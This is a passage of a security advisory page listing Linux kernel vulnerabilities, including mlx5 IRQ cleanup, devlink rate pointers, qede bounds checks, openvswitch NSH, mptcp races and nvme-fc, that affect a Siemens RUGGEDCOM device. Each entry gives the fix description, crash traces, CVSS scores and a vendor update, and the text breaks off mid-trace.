<p>In the Linux kernel, the following vulnerability has been resolved: net/mlx5: Clean up only new IRQ glue on request_irq() failure The mlx5_irq_alloc() function can inadvertently free the entire rmap and end up in a crash[1] when the other threads tries to access this, when request_irq() fails due to exhausted IRQ vectors. This commit modifies the cleanup to remove only the specific IRQ mapping that was just added. This prevents removal of other valid mappings and ensures precise cleanup of the failed IRQ allocation's associated glue object. Note: This error is observed when both fwctl and rds configs are enabled. [1] mlx5_core 0000:05:00.0: Successfully registered panic handler for port 1 mlx5_core 0000:05:00.0: mlx5_irq_alloc:293:(pid 66740): Failed to request irq. err = -28 infiniband mlx5_0: mlx5_ib_test_wc:290:(pid 66740): Error -28 while trying to test write-combining support mlx5_core 0000:05:00.0: Successfully unregistered panic handler for port 1 mlx5_core 0000:06:00.0: Successfully registered panic handler for port 1 mlx5_core 0000:06:00.0: mlx5_irq_alloc:293:(pid 66740): Failed to request irq. err = -28 infiniband mlx5_0: mlx5_ib_test_wc:290:(pid 66740): Error -28 while trying to test write-combining support mlx5_core 0000:06:00.0: Successfully unregistered panic handler for port 1 mlx5_core 0000:03:00.0: mlx5_irq_alloc:293:(pid 28895): Failed to request irq. err = -28 mlx5_core 0000:05:00.0: mlx5_irq_alloc:293:(pid 28895): Failed to request irq. err = -28 general protection fault, probably for non-canonical address 0xe277a58fde16f291: 0000 [#1] SMP NOPTI RIP: 0010:free_irq_cpu_rmap+0x23/0x7d Call Trace: ? show_trace_log_lvl+0x1d6/0x2f9 ? show_trace_log_lvl+0x1d6/0x2f9 ? mlx5_irq_alloc.cold+0x5d/0xf3 [mlx5_core] ? __die_body.cold+0x8/0xa ? die_addr+0x39/0x53 ? exc_general_protection+0x1c4/0x3e9 ? dev_vprintk_emit+0x5f/0x90 ? asm_exc_general_protection+0x22/0x27 ? free_irq_cpu_rmap+0x23/0x7d mlx5_irq_alloc.cold+0x5d/0xf3 [mlx5_core] irq_pool_request_vector+0x7d/0x90 [mlx5_core] mlx5_irq_request+0x2e/0xe0 [mlx5_core] mlx5_irq_request_vector+0xad/0xf7 [mlx5_core] comp_irq_request_pci+0x64/0xf0 [mlx5_core] create_comp_eq+0x71/0x385 [mlx5_core] ? mlx5e_open_xdpsq+0x11c/0x230 [mlx5_core] mlx5_comp_eqn_get+0x72/0x90 [mlx5_core] ? xas_load+0x8/0x91 mlx5_comp_irqn_get+0x40/0x90 [mlx5_core] mlx5e_open_channel+0x7d/0x3c7 [mlx5_core] mlx5e_open_channels+0xad/0x250 [mlx5_core] mlx5e_open_locked+0x3e/0x110 [mlx5_core] mlx5e_open+0x23/0x70 [mlx5_core] __dev_open+0xf1/0x1a5 __dev_change_flags+0x1e1/0x249 dev_change_flags+0x21/0x5c do_setlink+0x28b/0xcc4 ? __nla_parse+0x22/0x3d ? inet6_validate_link_af+0x6b/0x108 ? cpumask_next+0x1f/0x35 ? __snmp6_fill_stats64.constprop.0+0x66/0x107 ? __nla_validate_parse+0x48/0x1e6 __rtnl_newlink+0x5ff/0xa57 ? kmem_cache_alloc_trace+0x164/0x2ce rtnl_newlink+0x44/0x6e rtnetlink_rcv_msg+0x2bb/0x362 ? __netlink_sendskb+0x4c/0x6c ? netlink_unicast+0x28f/0x2ce ? rtnl_calcit.isra.0+0x150/0x146 netlink_rcv_skb+0x5f/0x112 netlink_unicast+0x213/0x2ce netlink_sendmsg+0x24f/0x4d9 __sock_sendmsg+0x65/0x6a ____sys_sendmsg+0x28f/0x2c9 ? import_iovec+0x17/0x2b ___sys_sendmsg+0x97/0xe0 __sys_sendmsg+0x81/0xd8 do_syscall_64+0x35/0x87 entry_SYSCALL_64_after_hwframe+0x6e/0x0 RIP: 0033:0x7fc328603727 Code: c3 66 90 41 54 41 89 d4 55 48 89 f5 53 89 fb 48 83 ec 10 e8 0b ed ff ff 44 89 e2 48 89 ee 89 df 41 89 c0 b8 2e 00 00 00 0f 05 &lt;48&gt; 3d 00 f0 ff ff 77 35 44 89 c7 48 89 44 24 08 e8 44 ed ff ff 48 RSP: 002b:00007ffe8eb3f1a0 EFLAGS: 00000293 ORIG_RAX: 000000000000002e RAX: ffffffffffffffda RBX: 000000000000000d RCX: 00007fc328603727 RDX: 0000000000000000 RSI: 00007ffe8eb3f1f0 RDI: 000000000000000d RBP: 00007ffe8eb3f1f0 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000293 R12: 0000000000000000 R13: 00000000000 ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40250">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40251</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: devlink: rate: Unset parent pointer in devl_rate_nodes_destroy The function devl_rate_nodes_destroy is documented to "Unset parent for all rate objects". However, it was only calling the driver-specific `rate_leaf_parent_set` or `rate_node_parent_set` ops and decrementing the parent's refcount, without actually setting the `devlink_rate-&gt;parent` pointer to NULL. This leaves a dangling pointer in the `devlink_rate` struct, which cause refcount error in netdevsim[1] and mlx5[2]. In addition, this is inconsistent with the behavior of `devlink_nl_rate_parent_node_set`, where the parent pointer is correctly cleared. This patch fixes the issue by explicitly setting `devlink_rate-&gt;parent` to NULL after notifying the driver, thus fulfilling the function's documented behavior for all rate objects. [1] repro steps: echo 1 &gt; /sys/bus/netdevsim/new_device devlink dev eswitch set netdevsim/netdevsim1 mode switchdev echo 1 &gt; /sys/bus/netdevsim/devices/netdevsim1/sriov_numvfs devlink port function rate add netdevsim/netdevsim1/test_node devlink port function rate set netdevsim/netdevsim1/128 parent test_node echo 1 &gt; /sys/bus/netdevsim/del_device dmesg: refcount_t: decrement hit 0; leaking memory. WARNING: CPU: 8 PID: 1530 at lib/refcount.c:31 refcount_warn_saturate+0x42/0xe0 CPU: 8 UID: 0 PID: 1530 Comm: bash Not tainted 6.18.0-rc4+ #1 NONE Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 RIP: 0010:refcount_warn_saturate+0x42/0xe0 Call Trace: devl_rate_leaf_destroy+0x8d/0x90 __nsim_dev_port_del+0x6c/0x70 [netdevsim] nsim_dev_reload_destroy+0x11c/0x140 [netdevsim] nsim_drv_remove+0x2b/0xb0 [netdevsim] device_release_driver_internal+0x194/0x1f0 bus_remove_device+0xc6/0x130 device_del+0x159/0x3c0 device_unregister+0x1a/0x60 del_device_store+0x111/0x170 [netdevsim] kernfs_fop_write_iter+0x12e/0x1e0 vfs_write+0x215/0x3d0 ksys_write+0x5f/0xd0 do_syscall_64+0x55/0x10f0 entry_SYSCALL_64_after_hwframe+0x4b/0x53 [2] devlink dev eswitch set pci/0000:08:00.0 mode switchdev devlink port add pci/0000:08:00.0 flavour pcisf pfnum 0 sfnum 1000 devlink port function rate add pci/0000:08:00.0/group1 devlink port function rate set pci/0000:08:00.0/32768 parent group1 modprobe -r mlx5_ib mlx5_fwctl mlx5_core dmesg: refcount_t: decrement hit 0; leaking memory. WARNING: CPU: 7 PID: 16151 at lib/refcount.c:31 refcount_warn_saturate+0x42/0xe0 CPU: 7 UID: 0 PID: 16151 Comm: bash Not tainted 6.17.0-rc7_for_upstream_min_debug_2025_10_02_12_44 #1 NONE Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014 RIP: 0010:refcount_warn_saturate+0x42/0xe0 Call Trace: devl_rate_leaf_destroy+0x8d/0x90 mlx5_esw_offloads_devlink_port_unregister+0x33/0x60 [mlx5_core] mlx5_esw_offloads_unload_rep+0x3f/0x50 [mlx5_core] mlx5_eswitch_unload_sf_vport+0x40/0x90 [mlx5_core] mlx5_sf_esw_event+0xc4/0x120 [mlx5_core] notifier_call_chain+0x33/0xa0 blocking_notifier_call_chain+0x3b/0x50 mlx5_eswitch_disable_locked+0x50/0x110 [mlx5_core] mlx5_eswitch_disable+0x63/0x90 [mlx5_core] mlx5_unload+0x1d/0x170 [mlx5_core] mlx5_uninit_one+0xa2/0x130 [mlx5_core] remove_one+0x78/0xd0 [mlx5_core] pci_device_remove+0x39/0xa0 device_release_driver_internal+0x194/0x1f0 unbind_store+0x99/0xa0 kernfs_fop_write_iter+0x12e/0x1e0 vfs_write+0x215/0x3d0 ksys_write+0x5f/0xd0 do_syscall_64+0x53/0x1f0 entry_SYSCALL_64_after_hwframe+0x4b/0x53</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40251">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/911.html">CWE-911 Improper Update of Reference Count</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40252</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: qlogic/qede: fix potential out-of-bounds read in qede_tpa_cont() and qede_tpa_end() The loops in 'qede_tpa_cont()' and 'qede_tpa_end()', iterate over 'cqe-&gt;len_list[]' using only a zero-length terminator as the stopping condition. If the terminator was missing or malformed, the loop could run past the end of the fixed-size array. Add an explicit bound check using ARRAY_SIZE() in both loops to prevent a potential out-of-bounds access. Found by Linux Verification Center (linuxtesting.org) with SVACE.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40252">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40254</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: openvswitch: remove never-working support for setting nsh fields The validation of the set(nsh(...)) action is completely wrong. It runs through the nsh_key_put_from_nlattr() function that is the same function that validates NSH keys for the flow match and the push_nsh() action. However, the set(nsh(...)) has a very different memory layout. Nested attributes in there are doubled in size in case of the masked set(). That makes proper validation impossible. There is also confusion in the code between the 'masked' flag, that says that the nested attributes are doubled in size containing both the value and the mask, and the 'is_mask' that says that the value we're parsing is the mask. This is causing kernel crash on trying to write into mask part of the match with SW_FLOW_KEY_PUT() during validation, while validate_nsh() doesn't allocate any memory for it: BUG: kernel NULL pointer dereference, address: 0000000000000018 #PF: supervisor read access in kernel mode #PF: error_code(0x0000) - not-present page PGD 1c2383067 P4D 1c2383067 PUD 20b703067 PMD 0 Oops: Oops: 0000 [#1] SMP NOPTI CPU: 8 UID: 0 Kdump: loaded Not tainted 6.17.0-rc4+ #107 PREEMPT(voluntary) RIP: 0010:nsh_key_put_from_nlattr+0x19d/0x610 [openvswitch] Call Trace: validate_nsh+0x60/0x90 [openvswitch] validate_set.constprop.0+0x270/0x3c0 [openvswitch] __ovs_nla_copy_actions+0x477/0x860 [openvswitch] ovs_nla_copy_actions+0x8d/0x100 [openvswitch] ovs_packet_cmd_execute+0x1cc/0x310 [openvswitch] genl_family_rcv_msg_doit+0xdb/0x130 genl_family_rcv_msg+0x14b/0x220 genl_rcv_msg+0x47/0xa0 netlink_rcv_skb+0x53/0x100 genl_rcv+0x24/0x40 netlink_unicast+0x280/0x3b0 netlink_sendmsg+0x1f7/0x430 ____sys_sendmsg+0x36b/0x3a0 ___sys_sendmsg+0x87/0xd0 __sys_sendmsg+0x6d/0xd0 do_syscall_64+0x7b/0x2c0 entry_SYSCALL_64_after_hwframe+0x76/0x7e The third issue with this process is that while trying to convert the non-masked set into masked one, validate_set() copies and doubles the size of the OVS_KEY_ATTR_NSH as if it didn't have any nested attributes. It should be copying each nested attribute and doubling them in size independently. And the process must be properly reversed during the conversion back from masked to a non-masked variant during the flow dump. In the end, the only two outcomes of trying to use this action are either validation failure or a kernel crash. And if somehow someone manages to install a flow with such an action, it will most definitely not do what it is supposed to, since all the keys and the masks are mixed up. Fixing all the issues is a complex task as it requires re-writing most of the validation code. Given that and the fact that this functionality never worked since introduction, let's just remove it altogether. It's better to re-introduce it later with a proper implementation instead of trying to fix it in stable releases.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40254">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40257</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mptcp: fix a race in mptcp_pm_del_add_timer() mptcp_pm_del_add_timer() can call sk_stop_timer_sync(sk, &amp;entry-&gt;add_timer) while another might have free entry already, as reported by syzbot. Add RCU protection to fix this issue. Also change confusing add_timer variable with stop_timer boolean. syzbot report: BUG: KASAN: slab-use-after-free in __timer_delete_sync+0x372/0x3f0 kernel/time/timer.c:1616 Read of size 4 at addr ffff8880311e4150 by task kworker/1:1/44 CPU: 1 UID: 0 PID: 44 Comm: kworker/1:1 Not tainted syzkaller #0 PREEMPT_{RT,(full)} Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/02/2025 Workqueue: events mptcp_worker Call Trace: dump_stack_lvl+0x189/0x250 lib/dump_stack.c:120 print_address_description mm/kasan/report.c:378 [inline] print_report+0xca/0x240 mm/kasan/report.c:482 kasan_report+0x118/0x150 mm/kasan/report.c:595 __timer_delete_sync+0x372/0x3f0 kernel/time/timer.c:1616 sk_stop_timer_sync+0x1b/0x90 net/core/sock.c:3631 mptcp_pm_del_add_timer+0x283/0x310 net/mptcp/pm.c:362 mptcp_incoming_options+0x1357/0x1f60 net/mptcp/options.c:1174 tcp_data_queue+0xca/0x6450 net/ipv4/tcp_input.c:5361 tcp_rcv_established+0x1335/0x2670 net/ipv4/tcp_input.c:6441 tcp_v4_do_rcv+0x98b/0xbf0 net/ipv4/tcp_ipv4.c:1931 tcp_v4_rcv+0x252a/0x2dc0 net/ipv4/tcp_ipv4.c:2374 ip_protocol_deliver_rcu+0x221/0x440 net/ipv4/ip_input.c:205 ip_local_deliver_finish+0x3bb/0x6f0 net/ipv4/ip_input.c:239 NF_HOOK+0x30c/0x3a0 include/linux/netfilter.h:318 NF_HOOK+0x30c/0x3a0 include/linux/netfilter.h:318 __netif_receive_skb_one_core net/core/dev.c:6079 [inline] __netif_receive_skb+0x143/0x380 net/core/dev.c:6192 process_backlog+0x31e/0x900 net/core/dev.c:6544 __napi_poll+0xb6/0x540 net/core/dev.c:7594 napi_poll net/core/dev.c:7657 [inline] net_rx_action+0x5f7/0xda0 net/core/dev.c:7784 handle_softirqs+0x22f/0x710 kernel/softirq.c:622 __do_softirq kernel/softirq.c:656 [inline] __local_bh_enable_ip+0x1a0/0x2e0 kernel/softirq.c:302 mptcp_pm_send_ack net/mptcp/pm.c:210 [inline] mptcp_pm_addr_send_ack+0x41f/0x500 net/mptcp/pm.c:-1 mptcp_pm_worker+0x174/0x320 net/mptcp/pm.c:1002 mptcp_worker+0xd5/0x1170 net/mptcp/protocol.c:2762 process_one_work kernel/workqueue.c:3263 [inline] process_scheduled_works+0xae1/0x17b0 kernel/workqueue.c:3346 worker_thread+0x8a0/0xda0 kernel/workqueue.c:3427 kthread+0x711/0x8a0 kernel/kthread.c:463 ret_from_fork+0x4bc/0x870 arch/x86/kernel/process.c:158 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245 Allocated by task 44: kasan_save_stack mm/kasan/common.c:56 [inline] kasan_save_track+0x3e/0x80 mm/kasan/common.c:77 poison_kmalloc_redzone mm/kasan/common.c:400 [inline] __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:417 kasan_kmalloc include/linux/kasan.h:262 [inline] __kmalloc_cache_noprof+0x1ef/0x6c0 mm/slub.c:5748 kmalloc_noprof include/linux/slab.h:957 [inline] mptcp_pm_alloc_anno_list+0x104/0x460 net/mptcp/pm.c:385 mptcp_pm_create_subflow_or_signal_addr+0xf9d/0x1360 net/mptcp/pm_kernel.c:355 mptcp_pm_nl_fully_established net/mptcp/pm_kernel.c:409 [inline] __mptcp_pm_kernel_worker+0x417/0x1ef0 net/mptcp/pm_kernel.c:1529 mptcp_pm_worker+0x1ee/0x320 net/mptcp/pm.c:1008 mptcp_worker+0xd5/0x1170 net/mptcp/protocol.c:2762 process_one_work kernel/workqueue.c:3263 [inline] process_scheduled_works+0xae1/0x17b0 kernel/workqueue.c:3346 worker_thread+0x8a0/0xda0 kernel/workqueue.c:3427 kthread+0x711/0x8a0 kernel/kthread.c:463 ret_from_fork+0x4bc/0x870 arch/x86/kernel/process.c:158 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245 Freed by task 6630: kasan_save_stack mm/kasan/common.c:56 [inline] kasan_save_track+0x3e/0x80 mm/kasan/common.c:77 __kasan_save_free_info+0x46/0x50 mm/kasan/generic.c:587 kasan_save_free_info mm/kasan/kasan.h:406 [inline] poison_slab_object m ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40257">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40258</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mptcp: fix race condition in mptcp_schedule_work() syzbot reported use-after-free in mptcp_schedule_work() [1] Issue here is that mptcp_schedule_work() schedules a work, then gets a refcount on sk-&gt;sk_refcnt if the work was scheduled. This refcount will be released by mptcp_worker(). [A] if (schedule_work(...)) { [B] sock_hold(sk); return true; } Problem is that mptcp_worker() can run immediately and complete before [B] We need instead : sock_hold(sk); if (schedule_work(...)) return true; sock_put(sk); [1] refcount_t: addition on 0; use-after-free. WARNING: CPU: 1 PID: 29 at lib/refcount.c:25 refcount_warn_saturate+0xfa/0x1d0 lib/refcount.c:25 Call Trace: __refcount_add include/linux/refcount.h:-1 [inline] __refcount_inc include/linux/refcount.h:366 [inline] refcount_inc include/linux/refcount.h:383 [inline] sock_hold include/net/sock.h:816 [inline] mptcp_schedule_work+0x164/0x1a0 net/mptcp/protocol.c:943 mptcp_tout_timer+0x21/0xa0 net/mptcp/protocol.c:2316 call_timer_fn+0x17e/0x5f0 kernel/time/timer.c:1747 expire_timers kernel/time/timer.c:1798 [inline] __run_timers kernel/time/timer.c:2372 [inline] __run_timer_base+0x648/0x970 kernel/time/timer.c:2384 run_timer_base kernel/time/timer.c:2393 [inline] run_timer_softirq+0xb7/0x180 kernel/time/timer.c:2403 handle_softirqs+0x22f/0x710 kernel/softirq.c:622 __do_softirq kernel/softirq.c:656 [inline] run_ktimerd+0xcf/0x190 kernel/softirq.c:1138 smpboot_thread_fn+0x542/0xa60 kernel/smpboot.c:160 kthread+0x711/0x8a0 kernel/kthread.c:463 ret_from_fork+0x4bc/0x870 arch/x86/kernel/process.c:158 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40258">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/362.html">CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40261</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: nvme: nvme-fc: Ensure -&gt;ioerr_work is cancelled in nvme_fc_delete_ctrl() nvme_fc_delete_assocation() waits for pending I/O to complete before returning, and an error can cause -&gt;ioerr_work to be queued after cancel_work_sync() had been called. Move the call to cancel_work_sync() to be after nvme_fc_delete_association() to ensure -&gt;ioerr_work is not running when the nvme_fc_ctrl object is freed. Otherwise the following can occur: [ 1135.911754] list_del corruption, ff2d24c8093f31f8-&gt;next is NULL [ 1135.917705] ------------[ cut here ]------------ [ 1135.922336] kernel BUG at lib/list_debug.c:52! [ 1135.926784] Oops: invalid opcode: 0000 [#1] SMP NOPTI [ 1135.931851] CPU: 48 UID: 0 PID: 726 Comm: kworker/u449:23 Kdump: loaded Not tainted 6.12.0 #1 PREEMPT(voluntary) [ 1135.943490] Hardware name: Dell Inc. PowerEdge R660/0HGTK9, BIOS 2.5.4 01/16/2025 [ 1135.950969] Workqueue: 0x0 (nvme-wq) [ 1135.954673] RIP: 0010:__list_del_entry_valid_or_report.cold+0xf/0x6f [ 1135.961041] Code: c7 c7 98 68 72 94 e8 26 45 fe ff 0f 0b 48 c7 c7 70 68 72 94 e8 18 45 fe ff 0f 0b 48 89 fe 48 c7 c7 80 69 72 94 e8 07 45 fe ff &lt;0f&gt; 0b 48 89 d1 48 c7 c7 a0 6a 72 94 48 89 c2 e8 f3 44 fe ff 0f 0b [ 1135.979788] RSP: 0018:ff579b19482d3e50 EFLAGS: 00010046 [ 1135.985015] RAX: 0000000000000033 RBX: ff2d24c8093f31f0 RCX: 0000000000000000 [ 1135.992148] RDX: 0000000000000000 RSI: ff2d24d6bfa1d0c0 RDI: ff2d24d6bfa1d0c0 [ 1135.999278] RBP: ff2d24c8093f31f8 R08: 0000000000000000 R09: ffffffff951e2b08 [ 1136.006413] R10: ffffffff95122ac8 R11: 0000000000000003 R12: ff2d24c78697c100 [ 1136.013546] R13: 